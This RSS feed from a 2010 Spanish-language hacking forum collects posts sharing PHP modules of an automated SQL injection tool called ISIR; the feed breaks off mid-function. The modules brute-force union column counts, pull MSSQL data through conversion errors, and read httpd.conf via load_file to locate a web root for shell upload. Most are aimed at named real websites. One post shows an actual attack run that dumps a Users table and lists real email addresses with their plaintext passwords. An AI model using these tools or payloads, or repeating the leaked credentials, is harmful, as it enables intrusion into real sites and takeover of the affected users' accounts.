<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - ISIR</title>
<description></description><link>https://foro.undersecurity.net/list.php?66</link><lastBuildDate>Thu, 09 Sep 2010 08:59:35 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?66,7826,7826#msg-7826</guid>
<title>Modulo[6] : Union Brutal Mode 0,1 (2 replies)</title><link>https://foro.undersecurity.net/read.php?66,7826,7826#msg-7826</link><description><![CDATA[Es mi Boton de Panico, cuando intento detectar UNiON SQl Injection, genera url hasta un max de 30, de union+select+all+1...n , en Magic y Normal.<br /><br />Cuando ya Ningun otro Metodo lo detecta, si es Union SQL; este metodo lo detectara.<br /><pre class="bbcode">
 php brute.php
..........................
[+] Vulnerable Bruter Mode¡ :	2:3:4:5:6:7:8:9:</pre><br /><br /><pre class="bbcode">
&lt;?
/* Union Brutal Mode 0,1
Coded By OzX
Undersecurity.net
*/

function GET($url){
	 $ch = curl_init($url);
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);
	 curl_setopt($ch, CURLOPT_HEADER      ,0); 
	 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
	 $data = curl_exec($ch);
	 curl_close($ch);
return $data;	 
}
function replace($output,$value,$patron){
			$output[$value] =  $output[$value].$patron;
			return urldecode(http_build_query($output));
}
function hexsql($text){
	return '0x'.strtoupper(bin2hex($text));
}
$url = &quot;http://313.canal13.cl/contenido.php?id_contenido=2&quot;;
#$url = &quot;http://extranet.injuv.gob.cl/extranet/modules.php?name=Downloads&amp;d_op=modifydownloadrequest&amp;lid=48&quot;;
$total = 30;#NORMALMENTE NO TIENEN MAS DE 30|editable

for($x=1;$x&lt;=$total;$x++){
	for($i=1;$i&lt;=$x;$i++){
		$rows.=($i==$x) ? hexsql(&quot;U:&quot;.$i.&quot;:S&quot;) : hexsql(&quot;U:&quot;.$i.&quot;:S&quot;).&quot;,&quot;;
	}
$patrones[] = &quot;+and+1=0+union+select+all+&quot;.$rows.&quot;+from+dual+--+&quot;;#NORMAL
$patrones[] = &quot;'+and+1=0+union+select+all+&quot;.$rows.&quot;+from+dual+--+&quot;;#MAGIC
unset($rows);
}
		$partes_url = parse_url($url);
		$scheme = $partes_url['scheme'];
		$host  = $partes_url['host'];
		$path = $partes_url['path'];
		$query = $partes_url['query'];
	
		parse_str($query, $output);
		$keys = array_keys($output);

		foreach($keys as $key){
			foreach($patrones as $patron){
				$urls[] = $scheme.&quot;://&quot;.$host.$path.&quot;?&quot;.replace($output,$key,$patron);
		
			}
		}

		
foreach($urls as $url){

		if(preg_match_all(&quot;/U:(\d*):S/im&quot;, GET($url), $datos,PREG_SET_ORDER)){
			echo &quot;\n[+] Vulnerable Bruter Mode¡ :\t&quot;;
			$total = count($datos);
			for($x=0;$x&lt;$total;$x++){
				echo $datos[$x][1].&quot;:&quot;;
			}
		break 1;
		}else{
			echo &quot;.&quot;;
		}
}
echo &quot;\n&quot;;




?&gt;
</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Fri, 13 Aug 2010 22:27:16 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,7765,7765#msg-7765</guid>
<title>Modulo [5] : Forma Url Injection 0.2 (1 reply)</title><link>https://foro.undersecurity.net/read.php?66,7765,7765#msg-7765</link><description><![CDATA[Modulo que Genera la Url del Union Select all, a partir de los datos que me entrega query check vulnz (url y patron).<br /><br />Salida :<br /><br /><pre class="bbcode">
http://www.losandesdaem.cl/index.php?nombre=Categorias&amp;area=8&amp;seccion=39+and+1=0+union+select+all+1+--+&amp;accion=Leer&amp;id=279
Array
(
    [0] =&gt; 1

)</pre><br /><br /><pre class="bbcode">
&lt;?


/*
Coded by OzX
Undersecurity
Modulo ISIR : Forma Url Injection 0.2

*/

function hexsql($text){
	return '0x'.strtoupper(bin2hex($text));
}

function forma_query_inj($url,$patron,$inj){
		$partes_url = parse_url($url);
		$query = $partes_url['query'];
		$scheme = $partes_url['scheme'];
		$host  = $partes_url['host'];
		$path = $partes_url['path'];
		parse_str($query, $querys);
		foreach($querys as $q =&gt; $values){
			if(preg_match('/'.urldecode($patron).'/',$values)){
				$querys[$q]  =  str_replace(urldecode($patron), $inj, $values);
			}
		}
$query =  urldecode(http_build_query($querys));
return $scheme.&quot;://&quot;.$host.$path.&quot;?&quot;.$query;
}
/*
FUncion que detecta si es posible ocupar Order By para obtener la cantidad de tablas de la
consulta original
*/
function detecta_orderby($url,$patron){
	$inj = &quot;+and+1=1+--+&quot;;
	$url_order[] = forma_query_inj($url,$patron,$inj); #URL ORIGINAL
	$inj = &quot;+and+1=1+order+by+987654321+--+&quot;;
	$url_order[] = forma_query_inj($url,$patron,$inj); # ORDER BY 987654321
	$inj = &quot;+and+1=1+order+by+1+--+&quot;;
	$url_order[] = forma_query_inj($url,$patron,$inj);# ORDER BY 1

	$curl = curl_init();
	curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	foreach($url_order as $url){
		curl_setopt($curl, CURLOPT_URL, $url);
		$html = curl_exec($curl); 
		$size[] = curl_getinfo($curl,CURLINFO_SIZE_DOWNLOAD);
		if(preg_match(&quot;/Unknown column '987654321' in 'order clause'/&quot;,$html)){
			return true;//Acceso Directo a la Deteccion de Order By 
		}	
	}
	curl_close($curl);

return   ($size[0] == $size[2] &amp;&amp; $size[1] != $size[0]) ? true : false;
}

function make_url_union($url,$patron){
	for($x=1;$x&lt;=10;$x++){
		for($i=1;$i&lt;=$x;$i++){
			$t.= hexsql(&quot;IS&quot;.$i.&quot;IR&quot;).&quot;,&quot;;			
		}
	$t = rtrim($t,&quot;,&quot;);
	$inj = &quot;+and+1=0+union+select+all+&quot;.$t.&quot;+--+&quot;;
	$url_order[] = forma_query_inj($url,$patron,$inj);# ORDER BY 1	
	unset($t);
	}	

	$curl = curl_init();
	curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

	$total_url = count($url_order);
	for($i=0;$i&lt;=$total_url;$i++){
		curl_setopt($curl, CURLOPT_URL, $url_order[$i]);
		$html = curl_exec($curl); 
		if(preg_match_all(&quot;/IS(\d*)IR/im&quot;, $html, $datos,PREG_SET_ORDER)){
			$total = count($datos);
			for($x=0;$x&lt;$total;$x++){
				$numeros_utilizar[] =  $datos[$x][1].&quot;\n&quot;;
			}
			for($v=1;$v&lt;=$i+1;$v++){
				$t.= $v.&quot;,&quot;;			
			}
			$t = rtrim($t,&quot;,&quot;);
			$inj = &quot;+and+1=0+union+select+all+&quot;.$t.&quot;+--+&quot;;
			$url_union_all = forma_query_inj($url,$patron,$inj);# URL FINAL
			break 1;
		}
	}
	curl_close($curl);
return array($url_union_all,$numeros_utilizar);
}

$patron = &quot;+and+1=0+--+&quot;;

$url = &quot;http://www.losandesdaem.cl/index.php?nombre=Categorias&amp;area=8&amp;seccion=39+and+1=0+--+&amp;accion=Leer&amp;id=279&quot;;
#$url = &quot;http://www.salumax.com.ar/sitio/pantalla.php?id=4+and+1=0+--+&quot;;
#$url = &quot;http://www.cam-mantenimiento.com.ar/vernota.php?id=89+and+1=0+--+&quot;;




$estado_orderby = detecta_orderby($url,$patron);
if($estado_orderby){

	list($url_union_all,$numeros) = make_url_union($url,$patron);
	echo $url_union_all.&quot;\n&quot;;
	print_r($numeros);
	
}else{ #BRUTE FORCE ¡¡¡
	echo &quot;Bruter \n&quot;;
}
#

?&gt;
</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Mon, 09 Aug 2010 06:45:36 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,7718,7718#msg-7718</guid>
<title>[+] Modulo 4 : sube shell con into outfile (3 replies)</title><link>https://foro.undersecurity.net/read.php?66,7718,7718#msg-7718</link><description><![CDATA[<pre class="bbcode">
&lt;?php
$url = $argv[1]; //http://localhost/test.php?usuario=

if(!$path = get_path_error($url)){
    if(!$path = get_path_httpdconf($url, $argv[2], $argv[3])){
        $path = 'no anduvo';
    }
}
echo $path;

/*
 Mete una comilla y agarra el warning de php. Necesita error_reporting = 1
*/
function get_path_error($url){
    $url.= &quot;' srch&quot;;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);
    curl_setopt($ch, CURLOPT_HEADER      ,1); 
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
    curl_setopt($ch, CURLOPT_URL, $url);
    $data = curl_exec($ch);
    
    preg_match('@&lt;b&gt;Warning&lt;/b&gt;:  .+? in &lt;b&gt;(.+?)&lt;/b&gt; on line &lt;b&gt;[0-9]+&lt;/b&gt;&lt;br /&gt;@', $data, $resultados);
    if($resultados[1]){
        return dirname($resultados[1]); //dirname es para eliminar el nombre del archivo
    }else{
        return FALSE;
    }
}

/*
 Trata de cargar el archivo de configuracion con load_file()
*/
function get_path_httpdconf($url, $cantidad_columnas, $columna_visible){
    
    // http://wiki.apache.org/httpd/DistrosDefaultLayout
    $httpdconf_location = array(
        'C:/Program Files/Apache Software Foundation/Apache2.2/conf/httpd.conf',
        '/usr/local/apache2/conf/httpd.conf',
        '/usr/pkg/etc/httpd/httpd.conf',
        '/usr/local/etc/apache22/httpd.conf',
        '/usr/local/etc/apache2/httpd.conf',
        '/etc/apache2/apache2.conf',
        '/etc/apache2/httpd.conf',
        '/etc/httpd/httpd.conf',
        '/etc/httpd/conf/httpd.conf',
        '/etc/conf.d/apache2',
        '/opt/lampp/etc/httpd.conf',
        );
        
    foreach ($httpdconf_location as $httpdconf){
        //Esta parte es provisoria. Se supone que otra parte del programa tiene que armar bien la inyección
        $url_completa = $url . urlencode(&quot;-1 union select &quot;);
//      $url_completa = $url . urlencode(&quot;-1' union select &quot;);
        
        for ($i=1; $i&lt;=$cantidad_columnas; $i++){
            if($columna_visible == $i){
                $url_completa.= urlencode(&quot;concat(0x504154484d415443484845524531, load_file(0x&quot;.bin2hex($httpdconf).&quot;), 0x504154484d415443484845524532)&quot;); //load_file() y dos strings a los costados que nos sirven para saber con que parte quedarnos
            }else{
                $url_completa.= $i;
            }
            
            if($i != $cantidad_columnas){
                $url_completa.=',';
            }
            
        }
        $url_completa.= urlencode(&quot; -- '&quot;);
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);
        curl_setopt($ch, CURLOPT_HEADER      ,1); 
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
        curl_setopt($ch, CURLOPT_URL, $url_completa);
        $data = curl_exec($ch);
        
        preg_match('@PATHMATCHHERE1(.*?)PATHMATCHHERE2@s', $data, $archivo); //aislamos el archivo
        preg_match('@DocumentRoot &quot;(.+?)&quot;@i', $archivo[1], $resultados); //leemos el documentroot
        if($resultados[1]){
            return $resultados[1];
        }
    }
    return FALSE;
}
?&gt;</pre>
@ozx es de lo que hablamos anoche<br /><br />la primera funcion mete una comilla y captura la ruta del error de mysql<br />la segunda busca el httpd.conf con load_file y saca el document_root de ahi. No se que pasa si hay vhosts (alguien que los sepa configurar podria dar una mano?)<br />OJO que no son lo mismo las dos rutas]]></description>
<dc:creator>seth</dc:creator>
<category>ISIR</category><pubDate>Wed, 04 Aug 2010 19:12:15 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,7610,7610#msg-7610</guid>
<title>Modulo [3] : MSSQL MODULE (no replies)</title><link>https://foro.undersecurity.net/read.php?66,7610,7610#msg-7610</link><description><![CDATA[Primera Version del Modulo MSSQL.<br />Obtiene los Datos mediante error de conversión INT.<br />Para Ocuparla ahi q descomentar algunas partes, por ej si se desea ocupar para obtener tablas, o columnas u obtener datos.<br /><br /><pre class="bbcode">
&lt;?
ob_implicit_flush(1);
error_reporting(E_NONE);
/*
PROYECTOS UNDERSECURITY.NET
#ISIR [#] MSSQL MODULE
- 0.1  14 Julio 2010
*/

function GET($url){
	 $ch = curl_init($url);
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);
	 curl_setopt($ch, CURLOPT_HEADER      ,0); 
	 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
	 $data = curl_exec($ch);
	 curl_close($ch);
return $data;	 
}

	
			
$tablas = array('');
$campo = 'campo';
$table = 'tabla';
$url = &quot;http://www.12manage.com/profile.asp?m=drarupbarman&quot;;

#OBTENER TABLAS
#$q = &quot;select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('')&quot;;
#OBTENER CAMPOS
#$q = &quot;select+top+1+column_name+from+information_schema.columns+where+table_name='{$table}'+and+column_name+not+in+('')&quot;;
#OBTENER DATOS
$q = &quot;select+top+1+{$campo}+from+{$table}+where+{$campo}+not+in+('')&quot;;

function not_int($tablas){
//Ordena las tablas dentro de not+int+('tabla1','tabla2',etc..)
	foreach ($tablas as $tabla){
		if(end($tablas) != $tabla){
			$t .= &quot;'&quot;.$tabla.&quot;',&quot;;
		}else{
			$t .= &quot;'&quot;.$tabla.&quot;'&quot;;
		}
	}
return $t;
}

function convert($url,$query,$tablas){
	#posiciona dentro de convert(int,()) la consulta.
	$consulta = str_replace(&quot;not+in+('')&quot;, &quot;not+in+(&quot;.not_int($tablas).&quot;)&quot;, $query);
	return $url.&quot;'+and+1=convert(int,(&quot;.$consulta.&quot;))+--&quot;;#CON COMILLAS.
	#return $url.&quot;+and+1=convert(int,(&quot;.$consulta.&quot;))+--&quot;;#SIN COMILLAS.
}



while(1){
$peticion =  convert($url,$q,$tablas);
echo $peticion.&quot;\n&quot;;
preg_match_all(&quot;|value '(.*?)' to|&quot;,GET($peticion),$out, PREG_PATTERN_ORDER);#OPTIMIZAR PETICIONES ¡
$valor_actual = current(array_pop($out));
$tablas[] = (!empty($valor_actual)) ? $valor_actual : die(&quot;OUT&quot;);#valor actual
print_r($tablas);
}
#Syntax error converting the nvarchar  a column of data type in




?&gt;</pre><br /><br />EJEMPLO : Obtencion de Tablas<br /><pre class="bbcode">
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
    [2] =&gt; D99_CMD
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list','D99_CMD')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
    [2] =&gt; D99_CMD
    [3] =&gt; D99_Tmp
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list','D99_CMD','D99_Tmp')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
    [2] =&gt; D99_CMD
    [3] =&gt; D99_Tmp
    [4] =&gt; sysdiagrams
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list','D99_CMD','D99_Tmp','sysdiagrams')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
    [2] =&gt; D99_CMD
    [3] =&gt; D99_Tmp
    [4] =&gt; sysdiagrams
    [5] =&gt; Reg_Arrt
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list','D99_CMD','D99_Tmp','sysdiagrams','Reg_Arrt')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
    [2] =&gt; D99_CMD
    [3] =&gt; D99_Tmp
    [4] =&gt; sysdiagrams
    [5] =&gt; Reg_Arrt
    [6] =&gt; kill_kk
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list','D99_CMD','D99_Tmp','sysdiagrams','Reg_Arrt','kill_kk')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
    [2] =&gt; D99_CMD
    [3] =&gt; D99_Tmp
    [4] =&gt; sysdiagrams
    [5] =&gt; Reg_Arrt
    [6] =&gt; kill_kk
    [7] =&gt; dtproperties787
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list','D99_CMD','D99_Tmp','sysdiagrams','Reg_Arrt','kill_kk','dtproperties787')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; comd_list
    [2] =&gt; D99_CMD
    [3] =&gt; D99_Tmp
    [4] =&gt; sysdiagrams
    [5] =&gt; Reg_Arrt
    [6] =&gt; kill_kk
    [7] =&gt; dtproperties787
    <b>[8] =&gt; Users</b>
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('','comd_list','D99_CMD','D99_Tmp','sysdiagrams','Reg_Arrt','kill_kk','dtproperties787','Users')))+--</pre><br />Luego Descomento La linea para Obtener los Campos :<br /><pre class="bbcode">
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='Users'+and+column_name+not+in+('')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; Emailaddress
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='Users'+and+column_name+not+in+('','Emailaddress')))+--
Array
(
    [0] =&gt; 
    <b>[1] =&gt; Emailaddress
    [2] =&gt; Password</b>
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='Users'+and+column_name+not+in+('','Emailaddress','Password')))+--</pre><br /><br />Ahora Obtengo los Datos Por Separado : EMAIL<br /><br /><pre class="bbcode">
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Emailaddress+from+Users+where+Emailaddress+not+in+('')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; __________test@12manage.com
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Emailaddress+from+Users+where+Emailaddress+not+in+('','__________test@12manage.com')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; __________test@12manage.com
    [2] =&gt; __olia@mail.ru
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Emailaddress+from+Users+where+Emailaddress+not+in+('','__________test@12manage.com','__olia@mail.ru')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; __________test@12manage.com
    [2] =&gt; __olia@mail.ru
    [3] =&gt; _admiration_@mail.ru
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Emailaddress+from+Users+where+Emailaddress+not+in+('','__________test@12manage.com','__olia@mail.ru','_admiration_@mail.ru')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; __________test@12manage.com
    [2] =&gt; __olia@mail.ru
    [3] =&gt; _admiration_@mail.ru
    [4] =&gt; _anastasijka_@inbox.ru
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Emailaddress+from+Users+where+Emailaddress+not+in+('','__________test@12manage.com','__olia@mail.ru','_admiration_@mail.ru','_anastasijka_@inbox.ru')))+--
Array
(
    [0] =&gt; 
    <b>[1] =&gt; __________test@12manage.com
    [2] =&gt; __olia@mail.ru
    [3] =&gt; _admiration_@mail.ru
    [4] =&gt; _anastasijka_@inbox.ru
    [5] =&gt; _azalia_@ukr.net</b>
)</pre><br />Y ahora las Password :<br /><pre class="bbcode">
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Password+from+Users+where+Password+not+in+('')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; noUUDoOL
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Password+from+Users+where+Password+not+in+('','noUUDoOL')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; noUUDoOL
    [2] =&gt; fvdXQIM3
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Password+from+Users+where+Password+not+in+('','noUUDoOL','fvdXQIM3')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; noUUDoOL
    [2] =&gt; fvdXQIM3
    [3] =&gt; eyeEGHsg
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Password+from+Users+where+Password+not+in+('','noUUDoOL','fvdXQIM3','eyeEGHsg')))+--
Array
(
    [0] =&gt; 
    [1] =&gt; noUUDoOL
    [2] =&gt; fvdXQIM3
    [3] =&gt; eyeEGHsg
    [4] =&gt; fue67foD
)
http://www.12manage.com/profile.asp?m=drarupbarman'+and+1=convert(int,(select+top+1+Password+from+Users+where+Password+not+in+('','noUUDoOL','fvdXQIM3','eyeEGHsg','fue67foD')))+--
Array
(
    [0] =&gt; 
    <b>[1] =&gt; noUUDoOL
    [2] =&gt; fvdXQIM3
    [3] =&gt; eyeEGHsg
    [4] =&gt; fue67foD
    [5] =&gt; XBh0VEgP</b>
)</pre><br /><br />Datos :<br /><br /><pre class="bbcode">
__________test@12manage.com : noUUDoOL
 __olia@mail.ru : fvdXQIM3
 _admiration_@mail.ru : eyeEGHsg
 _anastasijka_@inbox.ru : fue67foD
 _azalia_@ukr.net :XBh0VEgP</pre><br /><br />And VUALA¡<br /><br /><br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Wed, 14 Jul 2010 23:26:15 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,7112,7112#msg-7112</guid>
<title>Modulo[2] : Brute Order 0.2 (3 replies)</title><link>https://foro.undersecurity.net/read.php?66,7112,7112#msg-7112</link><description><![CDATA[Resultado :<br /><pre class="bbcode">
php func.php 
Rows Visibles :&gt; 
Array
(
    [0] =&gt; 4

    [1] =&gt; 4

    [2] =&gt; 7

    [3] =&gt; 6

    [4] =&gt; 8

    [5] =&gt; 5

)
Total Rows :&gt; 12</pre><br />Significa que Tiene 12 Rows &gt; union+select+all+1,2,3,4,5,6,7,8,9,10,11,12<br />Y que 4,4,7,6,8,5 Se pueden ocupar para hacer injecciones.<br /><br /><b>IMPORTANTE : </b><br /><br />En la url , no importa cual query se va a ocupar, tiene que terminar con +--+<br />ej :<br /><br /><pre class="bbcode">
http://www.evil.com/modulos.php?mod=documentos&amp;cat=38+and+char(99)=char(98)+--+&amp;fn=5970ce332198baece7cde000c7169bf0</pre><br /><br />Saludos¡<br /><br />Code :<br /><pre class="bbcode">
&lt;?
//BRuter 0.2 SIR Bruter
//Coded by Oz¡
//Undersecurity.net
function GET($url) {
	$curl = curl_init();
 	curl_setopt($curl, CURLOPT_URL, $url);
	curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
	curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_TIMEOUT, 10);
	if (!$html = curl_exec($curl))
		$html = file_get_contents($url);
	curl_close($curl);
return strtolower($html); 
}

function hexsql($text){
return '0x'.strtoupper(bin2hex($text));
}

define(&quot;limite_orderby&quot;, &quot;99&quot;);





function bruter($url){

	$query = parse_url($url,PHP_URL_QUERY);
	$base = parse_url($url,PHP_URL_PATH);
	$host = parse_url($url,PHP_URL_HOST);
	$http = parse_url($url,PHP_URL_SCHEME);


	for($x=1;$x&lt;=limite_orderby;$x++){
		$order = null;
		foreach (range(1, $x) as $number)
		    $order .= hexsql(&quot;YB:&quot;.$number.&quot;:YB&quot;).&quot;,&quot;;
		$t = rtrim($order,&quot;,&quot;);
		$web =  $http.&quot;://&quot;.$host.$base.&quot;?&quot;.str_replace(&quot;+--+&quot;,&quot;+union+all+select+&quot;.$t.&quot;+--+&quot;,$query);
		if(preg_match_all(&quot;/YB:(.*?):YB/i&quot;,GET($web),$datos,PREG_SET_ORDER)){
			$total = $x;
			foreach($datos as $row =&gt; $id)
				$rows[] = $id[1].&quot;\n&quot;;	
			break 1; //SALIMOS DEL FOR PRINCIPAL
		}
	
	}
	return array($rows,$total);
}

$url = &quot;http://www.evil.com/modulos.php?mod=documentos&amp;cat=38+and+char(99)=char(98)+--+&amp;fn=5970ce332198baece7cde000c7169bf0&quot;;


list($rows,$total) = bruter($url);
echo &quot;Rows Visibles :&gt; \n&quot;;
print_r($rows);
echo &quot;Total Rows :&gt; &quot;.$total.&quot;\n&quot;;

# 
?&gt;
</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>ISIR</category><pubDate>Tue, 11 May 2010 22:17:17 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?66,6884,6884#msg-6884</guid>
<title>Modulo [1] : Query Check Vulnz 0.3 (3 replies)</title><link>https://foro.undersecurity.net/read.php?66,6884,6884#msg-6884</link><description><![CDATA[<pre class="bbcode">
&lt;?
#coded by OzX
# Undersecurity.net
# ISIR 
# Query Check Vulnz 0.3

function check($url){

	function crear_urls($url,$patrones){

		function replace($output,$value,$patron){
			$output[$value] =  $output[$value].$patron;
			return urldecode(http_build_query($output));
		}
		$partes_url = parse_url($url);
		$scheme = $partes_url['scheme'];
		$host  = $partes_url['host'];
		$path = $partes_url['path'];
		$query = $partes_url['query'];
	
		parse_str($query, $output);
	
	
		$keys = array_keys($output);

		foreach($keys as $key){
			foreach($patrones as $patron){
				$query_url[] = $scheme.&quot;://&quot;.$host.$path.&quot;?&quot;.replace($output,$key,$patron);
		
			}
		}
		$return = array($query_url,count($output));
	return $return;
	}


	$patrones = array(&quot;magic-&quot; =&gt; &quot;'and+1=0+--+&quot;,
			  	&quot;magic+&quot; =&gt; &quot;'+and+1=1+--+&quot;,
			  	&quot;-&quot; =&gt; &quot;+and+1=0+--+&quot;,
			  	&quot;+&quot; =&gt; &quot;+and+1=1+--+&quot;
	);

	list($query_url,$total_querys_url) = crear_urls($url,$patrones);
		 $ch = curl_init();
		 curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);
		 curl_setopt($ch, CURLOPT_HEADER      ,1); 
		 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		
		#ORIGINAL ##########################################################
			curl_setopt($ch, CURLOPT_URL, $url);
			$data = curl_exec($ch);
			#$valor_space = str_word_count($data);
			#$valor_space = count(explode(&quot;\n&quot;,$data));
			
			$info = curl_getinfo($ch);

			$info['header_size'];
			$info['request_size'];
			$valor_space = $info['size_download'];







			echo &quot;Total Querys :&gt;&quot;.$total_querys_url.&quot;\n&quot;;

			echo &quot;ORIGINAL :&gt; \t&quot;.$valor_space.&quot;\n&quot;;
			echo &quot;#########################################\n&quot;;
			$i=0;
			echo &quot;[-] &quot;.$url .&quot;\n&quot;;
			echo &quot;[+] SQLSIR : &quot;; 
			for($x=0;$x&lt;$total_querys_url;$x++){
			
				foreach($patrones as $patron =&gt; $value){
					echo &quot;.\n&quot;;
					//MODIFICAR PORQUE NO SIEMPRE FUNCIONA CON \n, aveces contando palabras etc.
					$web[$patron] = $query_url[$i];
				$webs_all[$value] = $web[$patron];//Asi Podemos encontrar el patron correspondiente. *COmpatbilidad entre modulos
					curl_setopt($ch, CURLOPT_URL, $query_url[$i]);
					$data = curl_exec($ch);
					#$valores[$patron] = str_word_count($data);
					#$valores[$patron] = count(explode(&quot;\n&quot;,$data));

			$info = curl_getinfo($ch);
			#$info['header_size'];
			#$info['request_size'];
			$valores[$patron] = $info['size_download'];

					echo $query_url[$i].&quot; =&gt;&quot; . $valores[$patron].&quot;\n&quot;;
					$i++;
				}
			
		if($valor_space != $valores['magic-'] &amp;&amp; $valor_space == $valores['magic+']){# VALOR ORIGINAL != '+AND+1=0+--+ E IGUAL A '+AND+1=1+--+

$patron = array_search($web['magic-'], $webs_all); 
$resultado[]=array('vulnerable' =&gt; true,'magic' =&gt; true , 'url+' =&gt; $web['magic+'] , 'url-' =&gt; $web['magic-'], 'patron' =&gt; $patron);				

	}elseif($valor_space != $valores['-'] &amp;&amp; $valor_space == $valores['+']){# VALOR ORIGINAL != +AND+1=0+..+ E IGUAL A +AND+1=1+--+
$patron = array_search($web['-'], $webs_all); 	
$resultado[] =  array('vulnerable' =&gt; true,'magic' =&gt; false , 'url+' =&gt; $web['+'] , 'url-' =&gt; $web['-'], 'patron' =&gt; $patron);				



		
	}else{
